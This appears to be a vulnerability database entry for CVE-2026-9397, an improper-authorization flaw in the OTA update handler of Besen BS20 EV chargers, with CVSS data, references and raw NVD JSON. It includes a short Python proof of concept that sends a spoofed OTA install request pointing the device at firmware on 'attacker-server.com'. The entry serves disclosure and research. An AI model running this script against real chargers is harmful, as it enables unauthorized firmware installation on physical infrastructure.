CVE-2026-9397

Description

A weakness has been identified in Besen BS20 EV Charging Station up to 20260426. Affected by this issue is some unknown functionality of the component OTA Update Installation Handler. This manipulation causes improper authorization. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitation is known to be difficult. The original disclosure mentions, that "[t]hese vulnerabilities have been reported to Besen and we have received their acknowlegement that they are reviewing this as of April 2026."

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Besen BS20 EV Charging Station <= 20260426

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-9397
# This script demonstrates how a malicious OTA update could be sent.
# Note: For educational purposes only.

import requests

def send_malicious_ota(target_ip, malicious_firmware_url):
    """
    Simulates sending a spoofed OTA update request to the target device.
    """
    # The endpoint might vary based on actual device API analysis
    ota_endpoint = f"http://{target_ip}/api/ota/install"
    
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "BesenOTAUpdater/1.0"
    }
    
    # Payload instructing device to download and install firmware from attacker controlled URL
    payload = {
        "version": "20260427_malicious",
        "url": malicious_firmware_url,
        "force_update": True
    }
    
    try:
        response = requests.post(ota_endpoint, json=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] OTA update command sent successfully to {target_ip}")
            print(f"[+] Device instructed to download from: {malicious_firmware_url}")
        else:
            print(f"[-] Failed to send OTA command. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    target = "192.168.1.100" # Replace with actual target IP
    evil_server = "http://attacker-server.com/malware.bin"
    send_malicious_ota(target, evil_server)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9397
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9397
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9397/
[4] VulDB https://vuldb.com/cve/CVE-2026-9397
[5] https://github.com/carfeii/besen#finding-4-unauthorized-firmware-installation-via-spoofed-ota-updates
[6] https://vuldb.com/submit/813576
[7] https://vuldb.com/vuln/365378
[8] https://vuldb.com/vuln/365378/cti

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9397", "sourceIdentifier": "[email protected]", "published": "2026-05-24T21:16:32.767", "lastModified": "2026-05-24T21:16:32.767", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Besen BS20 EV Charging Station up to 20260426. Affected by this issue is some unknown functionality of the component OTA Update Installation Handler. This manipulation causes improper authorization. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitation is known to be difficult. The original disclosure mentions, that \"[t]hese vulnerabilities have been reported to Besen and we have received their acknowlegement that they are reviewing this as of April 2026.\""}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:C/I:C/A:C", "baseScore": 7.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 4.9, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-266"}, {"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://github.com/carfeii/besen#finding-4-unauthorized-firmware-installation-via-spoofed-ota-updates", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/813576", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365378", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365378/cti", "source": "[email protected]"}]}}